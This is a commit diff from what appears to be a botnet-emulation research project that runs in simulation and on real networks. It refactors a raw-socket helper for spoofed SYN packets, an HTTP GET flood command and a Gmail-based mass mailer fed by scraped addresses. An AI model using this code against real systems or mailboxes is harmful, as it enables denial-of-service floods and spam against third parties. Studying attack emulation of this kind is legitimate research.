Commits

Joshua Bonsink committed cf005a3

Code cleanup and migrations

Comments (0)

Files changed (5)

core/ns3/node/imalse_netns_sim_node.py

     def load_file(self, *args, **kwargs):
         return 'password'
 
-
     def ftp_upload(self, f, host, user, password):
         print 'File [%s] has been uploaded to ftp %s'%(f, host)
 
+from email.MIMEMultipart import MIMEMultipart
+from email.MIMEBase import MIMEBase
+from email.MIMEText import MIMEText
+from email import Encoders
 from ftplib import FTP
 import os
 import socket
 import select
 import sys
+import smtplib
 import mimetypes
 import threading
 import time
         sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
         self.sockets[sock] = desc
         return sock
+    
+    def create_raw_sock_without_header(self):
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
+        except socket.error as err:
+            print 'Socket could not be created. Error: ' + err
+            sys.exit()
+         
+            # tell kernel not to put in headers, since we are providing it
+            sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+        return sock        
 
     def bind(self, sock, port):
         """Bind the socket to port"""
     ###       Webserver         ###
     #################################
     def start_webservice(self):
+        """Start a simple webserver."""
         PORT = 80
         BACKLOG = 5
         RCV_BUFF_SIZE = 512
                         sock.close()
                         active_sockets.remove(sock)
     
-    def parse_data(self, data, sock):                
+    def parse_data(self, data, sock):    
+        """Parse incoming data and handle get requests."""            
         #HTTP header is on the first line
         data = data.splitlines()
         header = data[0].split(' ')
         tcp_header = struct.pack('!HHLLBBHHH' , source_port, dest_port, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
          
         # final full packet - syn packets dont have any data
-        return ip_header + tcp_header
+        return ip_header + tcp_header
+    
+    def send_mail(self, gmail_user, gmail_pwd, email_list, subject, content):
+        """
+        
+        Send an email to all addresses listed in email_list using a gmail
+        account.
+        
+        """
+        msg = MIMEMultipart()
+        
+        msg['From'] = gmail_user    
+        msg['Subject'] = subject    
+        msg.attach(MIMEText(content))
+        
+        mailServer = smtplib.SMTP("smtp.gmail.com", 587)
+        mailServer.ehlo()
+        mailServer.starttls()
+        mailServer.ehlo()
+        mailServer.login(gmail_user, gmail_pwd)    
+        
+        for address in email_list:
+            address = address.replace("\n","")
+            msg['To'] = address
+               
+            try:
+                mailServer.sendmail(gmail_user, address, msg.as_string())
+            except:
+                print "something went wrong when sending an email to '%s'" % (address)
+                           
+        """Send spam to your own email address
+        
+        address = YOUR_EMAIl_ADDRESS
+        msg['To'] = address
+               
+        try:
+            mailServer.sendmail(gmail_user, address, msg.as_string())
+        except:
+            print "something went wrong when sending an email to '%s'" % (address)
+            
+        """
+        mailServer.close()

scenario/ddos_flooding/client_cmd.py

             first = randrange(1, 256)
     
         return ".".join([str(first), str(randrange(1, 256)), \
-                          str(randrange(1, 256)), str(randrange(1, 256))])  
-    
-    def create_real_socket(self):
-        try:
-            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
-        except socket.error as err:
-            print 'Socket could not be created. Error: ' + err
-            sys.exit()
-         
-            # tell kernel not to put in headers, since we are providing it
-            sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
-        return sock        
+                          str(randrange(1, 256)), str(randrange(1, 256))])          
             
     def auto_send_packets(self, port, dest_ip, num_packets):
         """
         
         """
         if self.node.NODE_TYPE != 'sim_ns3':
-            sock = self.create_real_socket()
+            sock = self.node.create_raw_sock_without_header()
             for _ in range(num_packets):
                 source_ip = self.generate_random_ip()
                 packet = self.node.construct_packet(source_ip, dest_ip)
     #################################     
        
     def real_networking(self, hostname, port):
-        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
-        sock.connect((hostname, port))
-        sock.send("GET / HTTP/1.1\r\n\r\n")
-        sock.close()
+        sock = self.node.create_sock({'proto': 'tcp'})
+        self.node.connect(sock, ((hostname, port)))
+        self.node.send(sock, "GET / HTTP/1.1\r\n\r\n")
+        self.node.close(sock)
     
     def auto_send_request(self, hostname, port=80, num_request=10):
         """

scenario/ddos_flooding/config.py

     def __init__(self):
         """Initialize the botmaster description."""
         BotmasterDescription.__init__(self)
-        self.command = TcpSynFloodCmd()
+        self.command = HttpGetFloodCmd()
 
 class Client(ClientDescription):
     

scenario/spamming/client_cmd.py

 flooding scenario.
 
 """
-
-from email.MIMEMultipart import MIMEMultipart
-from email.MIMEBase import MIMEBase
-from email.MIMEText import MIMEText
-from email import Encoders
-
-import os
 import re
-import smtplib
-import sys
 import urllib2
 
 from core.real import PhysicalNode 
                         email_list.append(e_result)
                     
         iteration += 1
-        
-def send_mail(gmail_user, gmail_pwd, subject, content):
-    """Send an email to all found email addresses."""
-    msg = MIMEMultipart()
-    
-    msg['From'] = gmail_user    
-    msg['Subject'] = subject    
-    msg.attach(MIMEText(content))
-    
-    mailServer = smtplib.SMTP("smtp.gmail.com", 587)
-    mailServer.ehlo()
-    mailServer.starttls()
-    mailServer.ehlo()
-    mailServer.login(gmail_user, gmail_pwd)    
-    
-    for address in email_list:
-        address = address.replace("\n","")
-        msg['To'] = address
-           
-        try:
-            mailServer.sendmail(gmail_user, address, msg.as_string())
-        except:
-            print "something went wrong when sending an email to '%s'" % (address)
-                       
-    """Send spam to your own email address
-    
-    address = YOUR_EMAIl_ADDRESS
-    msg['To'] = address
-           
-    try:
-        mailServer.sendmail(gmail_user, address, msg.as_string())
-    except:
-        print "something went wrong when sending an email to '%s'" % (address)
-        
-    """
-    mailServer.close()
     
 class ClientCMD(CCMD):
     
     def spam(self, sock, data):
         """
         
-        This function will be called when the command is received from the server.
+        This function will be called when the command is received from the
+        server.
         
         """   
         crawl_sites(data.max_iterations, data.start_url)
-        #send_mail(data.gmail_user, data.gmail_pwd, data.subject, data.content)
+        #self.node.send_mail(data.gmail_user, data.gmail_pwd, email_list,\
+        #                    data.subject, data.content)
 
 if __name__ == "__main__":
     cmd = ClientCMD()